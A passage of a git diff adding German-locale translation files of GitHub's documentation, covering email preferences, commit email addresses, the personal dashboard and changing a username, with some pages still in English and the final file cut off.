--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md
@@ -0,0 +1,28 @@
+---
+title: Managing email preferences
+intro: 'You can add or change the email addresses associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. You can also manage emails you receive from {% data variables.product.product_name %}.'
+redirect_from:
+  - /categories/managing-email-preferences
+  - /articles/managing-email-preferences
+  - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - Notifications
+children:
+  - /adding-an-email-address-to-your-github-account
+  - /changing-your-primary-email-address
+  - /setting-a-backup-email-address
+  - /setting-your-commit-email-address
+  - /blocking-command-line-pushes-that-expose-your-personal-email-address
+  - /remembering-your-github-username-or-email
+  - /types-of-emails-github-sends
+  - /managing-marketing-emails-from-github
+shortTitle: Manage email preferences
+---
+
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/managing-marketing-emails-from-github.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/managing-marketing-emails-from-github.md
new file mode 100644
index 0000000000..3f75314c01
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/managing-marketing-emails-from-github.md
@@ -0,0 +1,35 @@
+---
+title: Managing marketing emails from GitHub
+intro: 'In addition to notifications and account emails, {% data variables.product.prodname_dotcom %} occasionally sends marketing emails with news and information about our products. If you unsubscribe from existing marketing emails, you won''t be included in future campaigns unless you change your {% data variables.product.prodname_dotcom %} email settings.'
+redirect_from:
+  - /articles/managing-marketing-emails-from-github
+  - /github/setting-up-and-managing-your-github-user-account/managing-marketing-emails-from-github
+  - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/managing-marketing-emails-from-github
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/managing-marketing-emails-from-github
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - Notifications
+shortTitle: Marketing emails
+---
+## Unsubscribing from {% data variables.product.prodname_dotcom %} marketing emails
+
+{% tip %}
+
+**Tip:** If you unsubscribe from all marketing emails and then subscribe to the Explore newsletter, you'll only receive the Explore newsletter, and won't receive other marketing email.
+
+{% endtip %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.emails %}
+3. Under *Email preferences*, select **Only receive account related emails, and those I subscribe to**.
+  ![Screenshot of opting out of marketing email](/assets/images/help/notifications/email_preferences.png)
+4. Click **Save email preferences**.
+  ![Save email preferences button](/assets/images/help/notifications/save_email_preferences.png)
+
+## Further reading
+
+- "[Types of emails GitHub sends](/articles/types-of-emails-github-sends)"
+- "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)"
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md
new file mode 100644
index 0000000000..d8d8d78c24
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md
@@ -0,0 +1,76 @@
+---
+title: Remembering your GitHub username or email
+intro: 'Are you signing in to {% data variables.location.product_location %} for the first time in a while? If so, welcome back! If you can''t remember the username for your personal account on {% data variables.product.product_name %}, you can try these methods for remembering it.'
+redirect_from:
+  - /articles/oh-noes-i-ve-forgotten-my-username-email
+  - /articles/oh-noes-i-ve-forgotten-my-username-or-email
+  - /articles/remembering-your-github-username-or-email
+  - /github/setting-up-and-managing-your-github-user-account/remembering-your-github-username-or-email
+  - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - Notifications
+shortTitle: Find your username or email
+---
+{% mac %}
+
+## {% data variables.product.prodname_desktop %} users
+
+1. In the **GitHub Desktop** menu, click **Preferences**.
+2. In the Preferences window, verify the following:
+    - To view your {% data variables.product.product_name %} username, click **Accounts**.
+    - To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary {% data variables.product.product_name %} email](/articles/changing-your-primary-email-address).
+
+{% endmac %}
+
+{% windows %}
+
+## {% data variables.product.prodname_desktop %} users
+
+1. In the **File** menu, click **Options**.
+2. In the Options window, verify the following:
+    - To view your {% data variables.product.product_name %} username, click **Accounts**.
+    - To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary {% data variables.product.product_name %} email](/articles/changing-your-primary-email-address).
+  
+{% endwindows %}
+
+## Finding your username in your `user.name` configuration
+
+During set up, you may have [set your username in Git](/github/getting-started-with-github/setting-your-username-in-git). If so, you can review the value of this configuration setting:
+
+```shell
+$ git config user.name
+# View the setting
+YOUR_USERNAME
+```
+
+## Finding your username in the URL of remote repositories
+
+If you have any local copies of personal repositories you have created or forked, you can check the URL of the remote repository.
+
+{% tip %}
+
+**Tip**: This method only works if you have an original repository or your own fork of someone else's repository. If you clone someone else's repository, their username will show instead of yours. Similarly, organization repositories will show the name of the organization instead of a particular user in the remote URL.
+
+{% endtip %}
+
+```shell
+$ cd YOUR_REPOSITORY
+# Change directories to the initialized Git repository
+$ git remote -v
+origin	https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_REPOSITORY.git (fetch)
+origin	https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_REPOSITORY.git (push)
+```
+
+Your user name is what immediately follows the `https://{% data variables.command_line.backticks %}/`.
+
+{% ifversion fpt or ghec %}
+## Further reading
+
+- "[Verifying your email address](/articles/verifying-your-email-address)"
+{% endif %}
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-a-backup-email-address.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-a-backup-email-address.md
new file mode 100644
index 0000000000..f2ac3e2cd6
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-a-backup-email-address.md
@@ -0,0 +1,28 @@
+---
+title: Setting a backup email address
+intro: 'Use a backup email address as an additional destination for security-relevant account notifications{% ifversion not ghae %} and to securely reset your password if you can no longer access your primary email address{% endif %}.'
+redirect_from:
+  - /articles/setting-a-backup-email-address
+  - /github/setting-up-and-managing-your-github-user-account/setting-a-backup-email-address
+  - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-a-backup-email-address
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-a-backup-email-address
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - Notifications
+shortTitle: Set backup email address
+---
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.emails %}
+3. Under "Backup email address," select the address you want to set as your backup email address using the drop-down menu.
+![Backup email address](/assets/images/help/settings/backup-email-address.png)
+4. Click **Save**.
+
+## Further reading
+
+- "[Managing email preferences](/articles/managing-email-preferences/)"
+- "[Updating your GitHub access credentials](/articles/updating-your-github-access-credentials/)"
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md
new file mode 100644
index 0000000000..d7da946ab7
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md
@@ -0,0 +1,105 @@
+---
+title: Setting your commit email address
+intro: 'You can set the email address that is used to author commits on {% data variables.location.product_location %} and on your computer.'
+redirect_from:
+  - /articles/keeping-your-email-address-private
+  - /articles/setting-your-commit-email-address-on-github
+  - /articles/about-commit-email-addresses
+  - /articles/git-email-settings
+  - /articles/setting-your-email-in-git
+  - /articles/set-your-user-name-email-and-github-token
+  - /articles/setting-your-commit-email-address-in-git
+  - /articles/setting-your-commit-email-address
+  - /github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address
+  - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - Notifications
+shortTitle: Set commit email address
+---
+## About commit email addresses
+
+{% data variables.product.prodname_dotcom %} uses your commit email address to associate commits with your account on {% data variables.location.product_location %}. You can choose the email address that will be associated with the commits you push from the command line as well as web-based Git operations you make.
+
+For web-based Git operations, you can set your commit email address on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. For commits you push from the command line, you can set your commit email address in Git.
+
+{% ifversion fpt or ghec %}Any commits you made prior to changing your commit email address are still associated with your previous email address.{% else %}After changing your commit email address on {% data variables.product.product_name %}, the new email address will be visible in all of your future web-based Git operations by default. Any commits you made prior to changing your commit email address are still associated with your previous email address.{% endif %}
+
+{% ifversion fpt or ghec %}
+
+{% note %}
+
+**Note**: {% data reusables.user-settings.no-verification-disposable-emails %}
+
+{% endnote %}
+
+{% endif %}
+
+{% ifversion fpt or ghec %}If you'd like to keep your personal email address private, you can use a `noreply` email address from {% data variables.product.product_name %} as your commit email address. To use your `noreply` email address for commits you push from the command line, use that email address when you set your commit email address in Git. To use your `noreply` address for web-based Git operations, set your commit email address on GitHub and choose to **Keep my email address private**.
+
+You can also choose to block commits you push from the command line that expose your personal email address. For more information, see "[Blocking command line pushes that expose your personal email](/articles/blocking-command-line-pushes-that-expose-your-personal-email-address)."{% endif %}
+
+To ensure that commits are attributed to you and appear in your contributions graph, use an email address that is connected to your account on {% data variables.location.product_location %}{% ifversion fpt or ghec %}, or the `noreply` email address provided to you in your email settings{% endif %}. {% ifversion not ghae %}For more information, see "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account)."{% endif %}
+
+{% ifversion fpt or ghec %}
+
+{% note %}
+
+**Note:** If you created your account on {% data variables.location.product_location %} _after_ July 18, 2017, your `noreply` email address for {% data variables.product.product_name %} is an ID number and your username in the form of <code>ID+USERNAME@users.noreply.github.com</code>. If you created your account on {% data variables.location.product_location %} _prior to_ July 18, 2017, your `noreply` email address from {% data variables.product.product_name %} is <code>USERNAME@users.noreply.github.com</code>. You can get an ID-based `noreply` email address for {% data variables.product.product_name %} by selecting (or deselecting and reselecting) **Keep my email address private** in your email settings.
+
+{% endnote %}
+
+If you use your `noreply` email address for {% data variables.product.product_name %} to make commits and then [change your username](/articles/changing-your-github-username), those commits will not be associated with your account on {% data variables.location.product_location %}. This does not apply if you're using the ID-based `noreply` address from {% data variables.product.product_name %}. For more information, see "[Changing your {% data variables.product.prodname_dotcom %} username](/articles/changing-your-github-username)."{% endif %}
+
+## Setting your commit email address on {% data variables.product.prodname_dotcom %}
+
+{% data reusables.files.commit-author-email-options %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.emails %}
+{% data reusables.user-settings.add_and_verify_email %}
+{% data reusables.user-settings.select_primary_email %}{% ifversion fpt or ghec %}
+{% data reusables.user-settings.keeping_your_email_address_private %}{% endif %}
+
+## Setting your commit email address in Git
+
+You can use the `git config` command to change the email address you associate with your Git commits. The new email address you set will be visible in any future commits you push to {% data variables.location.product_location %} from the command line. Any commits you made prior to changing your commit email address are still associated with your previous email address.
+
+### Setting your email address for every repository on your computer
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. {% data reusables.user-settings.set_your_email_address_in_git %}
+   ```shell
+   $ git config --global user.email "YOUR_EMAIL"
+   ```
+3. {% data reusables.user-settings.confirm_git_email_address_correct %}
+   ```shell
+   $ git config --global user.email
+   <span class="output">email@example.com</span>
+   ```
+4. {% data reusables.user-settings.link_email_with_your_account %}
+
+### Setting your email address for a single repository
+
+{% data variables.product.product_name %} uses the email address set in your local Git configuration to associate commits pushed from the command line with your account on {% data variables.location.product_location %}.
+
+You can change the email address associated with commits you make in a single repository. This will override your global Git configuration settings in this one repository, but will not affect any other repositories.
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Change the current working directory to the local repository where you want to configure the email address that you associate with your Git commits.
+3. {% data reusables.user-settings.set_your_email_address_in_git %}
+   ```shell
+   $ git config user.email "YOUR_EMAIL"
+   ```
+4. {% data reusables.user-settings.confirm_git_email_address_correct %}
+   ```shell
+   $ git config user.email
+   <span class="output">email@example.com</span>
+   ```
+5. {% data reusables.user-settings.link_email_with_your_account %}
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/types-of-emails-github-sends.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/types-of-emails-github-sends.md
new file mode 100644
index 0000000000..c13c7e3eea
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/types-of-emails-github-sends.md
@@ -0,0 +1,60 @@
+---
+title: Arten der von GitHub versendeten E-Mails
+intro: 'Du kannst von {% data variables.product.product_name %} verschiedene Arten von E-Mails erhalten, unter anderem Benachrichtigungen, Kontoinformationen, Einladungen zu Kundenforschungen und Marketingkommunikation.'
+redirect_from:
+  - /articles/types-of-emails-github-sends
+  - /github/setting-up-and-managing-your-github-user-account/types-of-emails-github-sends
+  - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - Notifications
+shortTitle: Emails from GitHub
+ms.openlocfilehash: 0e03038c272f2815fd4427f73110641aa57b7028
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145164857'
+---
+## E-Mail-Benachrichtigungen
+
+Du kannst festlegen, ob und welche Aktivitätsbenachrichtigungen du via E-Mail erhalten willst. Weitere Informationen findest du unter [Informationen zu Benachrichtigungen](/github/managing-subscriptions-and-notifications-on-github/about-notifications). Benachrichtigungs-E-Mails können folgendes beinhalten:
+
+- Sicherheitsrelevante Aktivitäten an Repositorys, auf die du Administratorzugriff hast
+- Aktivitäten in von Dir beobachteten Repositorys
+- Unterhaltungen, an denen du teilnimmst
+- Unterhaltungen, in denen du @erwähnt (@mentioned) wurdest
+- Pushes an Pull Requests, an denen du mitwirkst
+- Einladungen zur Mitarbeit in einer Organisation oder an einem Repository
+- Deine eigenen Aktivitäten, beispielsweise das Öffnen, Kommentieren oder Schließen von Issues und Pull Requests
+
+Auch kannst du die Art der E-Mail-Aktualisierungen festlegen, die du zu Unterhaltungen erhältst, die du beobachtest oder an denen du teilnimmst. Weitere Informationen findest du unter [Konfigurieren von Benachrichtigungen](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications).
+
+## E-Mails der Organisation
+
+Falls du ein Upgrade auf bezahlte Produkte oder Funktionen durchgeführt hast, erhältst du an die primäre E-Mail-Adresse deines Kontos Abrechnungsquittungen. Weitere Informationen findest du unter [Festlegen deiner Rechnungs-E-Mail-Adresse](/articles/setting-your-billing-email).
+
+## E-Mails zur Kundenforschung
+
+{% data variables.product.product_name %} sucht gelegentlich Kund*innen, die an Recherchesitzungen teilnehmen, um uns dabei zu helfen, GitHub noch besser zu machen. Diese werden remote durchgeführt, und Kund*innen aus der ganzen Welt können daran teilnehmen. Folgende Bereiche können enthalten sein:
+
+- Feedbackumfragen
+- Forschungsinterviews
+- Tests zur Benutzerfreundlichkeit
+- Vorschau zu frühen Prototypen oder Konzepten
+
+Diese E-Mails werden nicht oft verschickt, und du entscheidest, ob du teilnehmen möchtest. Wenn du an weiteren Möglichkeiten interessiert bist, an Recherchesitzungen teilzunehmen, kannst du dich beim GitHub Customer Research Panel anmelden. Weitere Informationen findest du unter [GitHub-Recherche zur Kundenfreundlichkeit](https://cxr.github.com).
+
+## Marketing-E-Mails
+
+{% data variables.product.product_name %} versendet gelegentlich auch E-Mails mit folgenden Arten von Marketingkommunikation:
+
+- Tipps und Tricks für die ersten Schritte mit deinem Konto
+- Persönlich abgestimmte Informationen zu interessanten neuen Projekten oder Funktionen
+- Abonnierte Newsletter wie {% data variables.explore.explore_github %}
+
+Weitere Informationen findest du unter [Verwalten von Marketing-E-Mails aus GitHub](/articles/managing-marketing-emails-from-github).
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard.md
new file mode 100644
index 0000000000..efedfb23e3
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard.md
@@ -0,0 +1,99 @@
+---
+title: Informationen zum persönlichen Dashboard
+redirect_from:
+  - /hidden/about-improved-navigation-to-commonly-accessed-pages-on-github
+  - /articles/opting-into-the-public-beta-for-a-new-dashboard
+  - /articles/about-your-personal-dashboard
+  - /github/setting-up-and-managing-your-github-user-account/about-your-personal-dashboard
+  - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard
+intro: 'Über dein persönliches Dashboard kannst du über Issues und Pull Requests, die du bearbeitest oder verfolgst, auf dem Laufenden bleiben .Du kannst zu deinen wichtigsten Repositorys und Teamseiten navigieren, dich über die neuesten Aktivitäten in Organisationen und Repositorys informieren, die du abonniert hast, und empfohlene Repositorys erkunden.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: Your personal dashboard
+ms.openlocfilehash: ee22085e669eedec2e0a9f298cc4d5ad144316c6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146179151'
+---
+## Auf dein persönliches Dashboard zugreifen
+
+Dein persönliches Dashboard ist die erste Seite, die du siehst, wenn du dich bei {% data variables.product.product_name %} anmeldest.
+
+Wenn du nach der Anmeldung auf dein persönliches Dashboard zugreifen möchtest, klicke auf das {% octicon "mark-github" aria-label="The github octocat logo" %}-Logo in der oberen linken Ecke einer beliebigen Seite auf {% data variables.product.product_name %}.
+
+## Neueste Aktivitäten finden
+
+Im Abschnitt „Recent activity“ (Neueste Aktivitäten) deines Newsfeed kannst du schnell die zuletzt aktualisierten Issues und Pull Requests, an denen du arbeitest, finden und weiterverfolgen. Im Abschnitt „Letzte Aktivität“ kannst du bis zu vier der letzten Aktualisierungen anzeigen, die in den vergangenen zwei Wochen erfolgt sind.
+
+{% data reusables.dashboard.recent-activity-qualifying-events %}
+
+## Deine wichtigsten Repositorys und Teams finden
+
+Über die linke Seitenleiste deines Dashboards kannst du auf die wichtigsten Repositorys und Teams zugreifen, die du verwendest.
+
+![Liste mit Repositorys und Teams verschiedener Organisationen](/assets/images/help/dashboard/repositories-and-teams-from-personal-dashboard.png)
+
+Die Liste der wichtigsten Repositorys wird automatisch generiert und kann jedes Repository enthalten, mit dem du interagiert hast, unabhängig davon, ob es sich direkt im Besitz deines Kontos befindet oder nicht. Zu diesen Interaktionen gehören das Durchführen von Commits oder das Erstellen oder Kommentieren von Issues und Pull Requests. Die Liste der wichtigsten Repositorys kann nicht bearbeitet werden. Die Repositorys werden vier Monate, nachdem du das letzte Mal mit ihnen interagiert hast, von der Liste genommen.
+
+Wenn du oben auf einer beliebigen Seite auf {% data variables.product.product_name %} in die Suchleiste klickst, findest du außerdem eine Liste deiner zuletzt aufgerufenen Repositorys, Teams und Projektboards.
+
+## Über Aktivitäten in der Community auf dem Laufenden bleiben
+
+{% ifversion for-you-feed %} Im Hauptabschnitt deines Dashboards gibt es zwei Aktivitätsfeeds:
+
+- Ich folge: Aktivitäten von Personen und Repositorys, denen du folgst
+- Für dich: Aktivitäten und Empfehlungen, die auf deinem {% data variables.product.product_name %}-Netzwerk basieren
+
+### Der Feed „Ich folge“
+
+In diesem Feed werden Aktivitäten von Repositorys und Benutzer*innen angezeigt, an denen du Interesse gezeigt hast, da du dem*der Benutzer*in oder einem Repository folgst. So werden beispielsweise Updates angezeigt, wenn Benutzer*innen, denen du folgst, Folgendes tun:
+
+{% else %} Im Abschnitt „Alle Aktivitäten“ deines Newsfeeds kannst du Updates zu Repositorys und Benutzer*innen anzeigen, denen du folgst.
+
+In deinem Newsfeed werden Updates angezeigt, wenn Benutzer*innen, denen du folgst, Folgendes tun: {% endif %}
+
+
+- Ein Repository mit einem Stern versieht.
+- Anderen Benutzer*innen folgen{% ifversion fpt or ghes or ghec %}
+- Ein öffentliches Repository erstellen{% endif %}
+- Einen Issue oder Pull Request mit der Kennzeichnung „help wanted“ oder „good first issue“ in einem von Dir beobachteten Repository öffnet.
+- Commits an ein Repository pushen, dem du folgst{% ifversion fpt or ghes or ghec %}
+- Ein öffentliches Repository forken{% endif %}
+- Ein neues Release veröffentlichen
+
+Weitere Informationen zum Folgen von Personen und Repositorys findest du unter [Folgen von Personen](/get-started/exploring-projects-on-github/following-people) und [Zusammenarbeit](/get-started/quickstart/be-social).
+
+{% ifversion for-you-feed %}
+### Der Feed „Für dich“
+
+{% note %}
+
+**Hinweis:** Diese neue Registerkarte befindet sich derzeit in der öffentlichen Betaversion und kann geändert werden. 
+
+{% endnote %}
+
+In diesem Feed werden Aktivitäten und Empfehlungen angezeigt, die auf deinem Netzwerk auf {% data variables.product.product_name %} basieren. Dieser dient dazu, interessante Updates anzuzeigen, dich auf dem neuesten Stand zu halten und dir zu helfen, neue Communitys zu finden, an denen du teilhaben möchtest. Dein Netzwerk umfasst:
+
+- Repositorys, die du mit einem Stern markiert hast
+- Repositorys, zu denen du beigetragen hast
+- Benutzer*innen, denen du folgst oder die du finanziell unterstützt
+- Benutzer*innen, mit denen du zusammengearbeitet hast
+- Organisationen, denen du folgst
+
+{% endif %}
+
+## Empfohlene Repositorys erkunden
+
+Im Abschnitt "Explore repositories" (Repositories erkunden) auf der rechten Seite deines Dashboards kannst du empfohlene Repositorys in deinen Communities erkunden. Die Empfehlungen basieren darauf, welche Repositorys du mit einem Stern markiert oder besucht hast, welchen Personen du folgst und auf welche Repositorys du Zugriff hast.{% ifversion fpt or ghec %} Weitere Informationen findest du unter [Beitragen zu Open-Source-Projekten auf {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github).{% endif %}
+
+## Weiterführende Themen
+
+- [Informationen zum Dashboard deiner Organisation](/articles/about-your-organization-dashboard)
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username.md
new file mode 100644
index 0000000000..aad324c45b
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username.md
@@ -0,0 +1,97 @@
+---
+title: Changing your GitHub username
+intro: 'You can change the username for your account on {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.location.product_location %} if your instance uses built-in authentication{% endif %}.'
+redirect_from:
+  - /articles/how-to-change-your-username
+  - /articles/changing-your-github-user-name
+  - /articles/renaming-a-user
+  - /articles/what-happens-when-i-change-my-username
+  - /articles/changing-your-github-username
+  - /github/setting-up-and-managing-your-github-user-account/changing-your-github-username
+  - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: Change your username
+---
+
+{% ifversion ghec or ghes %}
+
+{% note %}
+
+{% ifversion ghec %}
+
+**Note**: Members of an {% data variables.enterprise.prodname_emu_enterprise %} cannot change usernames. Your enterprise's IdP administrator controls your username for {% data variables.product.product_name %}. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+
+{% elsif ghes %}
+
+**Note**: If you sign into {% data variables.location.product_location %} with LDAP credentials or single sign-on (SSO), only your local administrator can change your username. For more information about authentication methods for {% data variables.product.product_name %}, see "[Authenticating users for {% data variables.location.product_location %}](/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance)."
+
+{% endif %}
+
+{% endnote %}
+
+{% endif %}
+
+## About username changes
+
+You can change your username to another username that is not currently in use.{% ifversion fpt or ghec %} If the username you want is not available, consider other names or unique variations. Using a number, hyphen, or an alternative spelling might help you find a similar username that's still available.
+
+If you hold a trademark for the username, you can find more information about making a trademark complaint on our [Trademark Policy](/free-pro-team@latest/github/site-policy/github-trademark-policy) page. 
+
+If you do not hold a trademark for the name, you can choose another username or keep your current username. {% data variables.contact.github_support %} cannot release the unavailable username for you. For more information, see "[Changing your username](#changing-your-username)."{% endif %}
+
+After changing your username, your old username becomes available for anyone else to claim. Most references to your repositories under the old username automatically change to the new username. However, some links to your profile won't automatically redirect.
+
+{% data variables.product.product_name %} cannot set up redirects for:
+- [@mentions](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) using your old username
+- Links to [gists](/articles/creating-gists) that include your old username
+
+{% ifversion fpt or ghec %} 
+
+If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you cannot make changes to your username. {% data reusables.enterprise-accounts.emu-more-info-account %}
+
+{% endif %}
+
+## Repository references
+
+After you change your username, {% data variables.product.product_name %} will automatically redirect references to your repositories.
+- Web links to your existing repositories will continue to work. This can take a few minutes to complete after you make the change.
+- Command line pushes from your local repository clones to the old remote tracking URLs will continue to work.
+
+If the new owner of your old username creates a repository with the same name as your repository, that will override the redirect entry and your redirect will stop working. Because of this possibility, we recommend you update all existing remote repository URLs after changing your username. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
+
+## Links to your previous profile page
+
+After changing your username, links to your previous profile page, such as `https://{% data variables.command_line.backticks %}/previoususername`, will return a 404 error. We recommend updating any links to your account on {% data variables.location.product_location %} from elsewhere{% ifversion fpt or ghec %}, such as your LinkedIn or Twitter profile{% endif %}.
+
+## Your Git commits
+
+{% ifversion fpt or ghec %}Git commits that were associated with your {% data variables.product.product_name %}-provided `noreply` email address won't be attributed to your new username and won't appear in your contributions graph.{% endif %} If your Git commits are associated with another email address you've [added to your GitHub account](/articles/adding-an-email-address-to-your-github-account), {% ifversion fpt or ghec %}including the ID-based {% data variables.product.product_name %}-provided `noreply` email address, {% endif %}they'll continue to be attributed to you and appear in your contributions graph after you've changed your username. For more information on setting your email address, see "[Setting your commit email address](/articles/setting-your-commit-email-address)."
+
+## Your gists
+
+After changing your username, the URLs to any public or secret gists will also change and previous links to these will return a 404 error. We recommend updating the links to these gists anywhere you may have shared them.
+
+## Changing your username
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.account_settings %}
+3. In the "Change username" section, click **Change username**.
+   ![Change Username button](/assets/images/help/settings/settings-change-username.png){% ifversion fpt or ghec %}
+4. Read the warnings about changing your username. If you still want to change your username, click **I understand, let's change my username**.
+   ![Change Username warning button](/assets/images/help/settings/settings-change-username-warning-button.png)
+5. Type a new username.
+   ![New username field](/assets/images/help/settings/settings-change-username-enter-new-username.png)
+6. If the username you've chosen is available, click **Change my username**. If the username you've chosen is unavailable, you can try a different username or one of the suggestions you see.
+   ![Change Username warning button](/assets/images/help/settings/settings-change-my-username-button.png)
+{% endif %}
+
+## Further reading
+
+- "[Why are my commits linked to the wrong user?](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user)"{% ifversion fpt or ghec %}
+- "[{% data variables.product.prodname_dotcom %} Username Policy](/free-pro-team@latest/github/site-policy/github-username-policy)"{% endif %}
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/index.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/index.md
new file mode 100644
index 0000000000..549421b73c
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/index.md
@@ -0,0 +1,39 @@
+---
+title: Benutzerkontoeinstellungen verwalten
+intro: 'Du kannst die Einstellungen für dein persönliches Konto verwalten, einschließlich Thema, Benutzername, Standardbranche, Barrierefreiheit und Sicherheitseinstellungen.'
+redirect_from:
+  - /categories/29/articles
+  - /categories/user-accounts
+  - /articles/managing-user-account-settings
